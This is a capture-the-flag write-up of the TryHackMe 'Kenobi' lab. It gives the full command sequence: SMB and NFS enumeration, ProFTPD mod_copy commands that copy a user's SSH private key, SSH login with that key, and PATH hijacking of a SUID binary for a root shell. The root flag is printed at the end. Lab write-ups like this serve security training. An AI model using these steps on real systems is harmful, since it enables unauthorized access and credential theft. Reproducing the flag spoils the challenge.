280 words
1 minute
TryHackMe - Kenobi

1. Initial Enumeratio#

Nmap Service and Script Scan#

Terminal window
nmap -sV -sC 10.10.177.254

Port Discovery with RustScan#

Terminal window
rustscan -a 10.10.177.254

2. SMB Enumeration#

Enumerate SMB shares and users:

Terminal window
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.177.254

Connect to the anonymous SMB share:

Terminal window
smbclient //10.10.177.254/anonymous

Download the exposed file:

Terminal window
get log.txt

Exit the SMB session:

Terminal window
exit

Review the contents of log.txt for useful information.


3. NFS Enumeration#

Enumerate NFS exports:

Terminal window
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.177.254

Display exported shares:

Terminal window
showmount -e 10.10.177.254

4. FTP Service Analysis#

Search for known vulnerabilities:

Terminal window
searchsploit ProFTPD 1.3.5

Connect to the FTP service:

Terminal window
nc 10.10.177.254 21

Use the ProFTPD file copy functionality to copy Kenobi’s SSH private key into an accessible location:

SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa

5. NFS Mount and SSH Key Retrieval#

Mount the exported NFS share:

Terminal window
sudo mount 10.10.177.254:/var nfs

Navigate to the temporary directory:

Terminal window
cd nfs
cd tmp

Copy the retrieved private key:

Terminal window
cp id_rsa ~/

Return and unmount the share:

Terminal window
cd ..
cd ..
sudo umount nfs

Set correct permissions on the private key:

Terminal window
chmod 600 id_rsa

6. User Access#

Authenticate as Kenobi using the private key:

Terminal window
ssh -i id_rsa kenobi@10.10.177.254

Retrieve the user flag:

Terminal window
cat user.txt

7. Privilege Escalation Enumeration#

Search for SUID binaries:

Terminal window
find / -perm -u=s -type f 2>/dev/null

A custom SUID binary is discovered:

/usr/bin/menu

8. PATH Hijacking#

Move to a writable directory:

Terminal window
cd /tmp

Create a malicious replacement for curl:

Terminal window
echo /bin/sh > curl
chmod 777 curl

Modify the PATH variable:

Terminal window
export PATH=/tmp:$PATH

Execute the vulnerable SUID binary:

Terminal window
/usr/bin/menu

Select option:

1

The binary executes the attacker-controlled curl, resulting in a root shell.


9. Root Access#

Verify privileges:

Terminal window
whoami

Expected output:

root

Navigate to the root directory:

Terminal window
cd /root

Retrieve the root flag:

Terminal window
cat root.txt

Root Flag#

177b3cd8562289f37382721c28381f02

Summary#

  1. Performed service enumeration using Nmap and RustScan.
  2. Enumerated SMB shares and downloaded an exposed log file.
  3. Discovered NFS exports and accessible directories.
  4. Identified a vulnerable ProFTPD service.
  5. Copied Kenobi’s SSH private key into an NFS-accessible location.
  6. Mounted the NFS share and retrieved the private key.
  7. Logged in as user kenobi.
  8. Enumerated SUID binaries and identified a custom privileged program.
  9. Exploited a PATH hijacking vulnerability.
  10. Obtained root privileges and retrieved the root flag.
TryHackMe - Kenobi
https://0xshadowman.github.io/notes/posts/thm_kenobi/
Author
MD Shohanur Rahman
Published at
2026-08-15
License
CC BY-NC-SA 4.0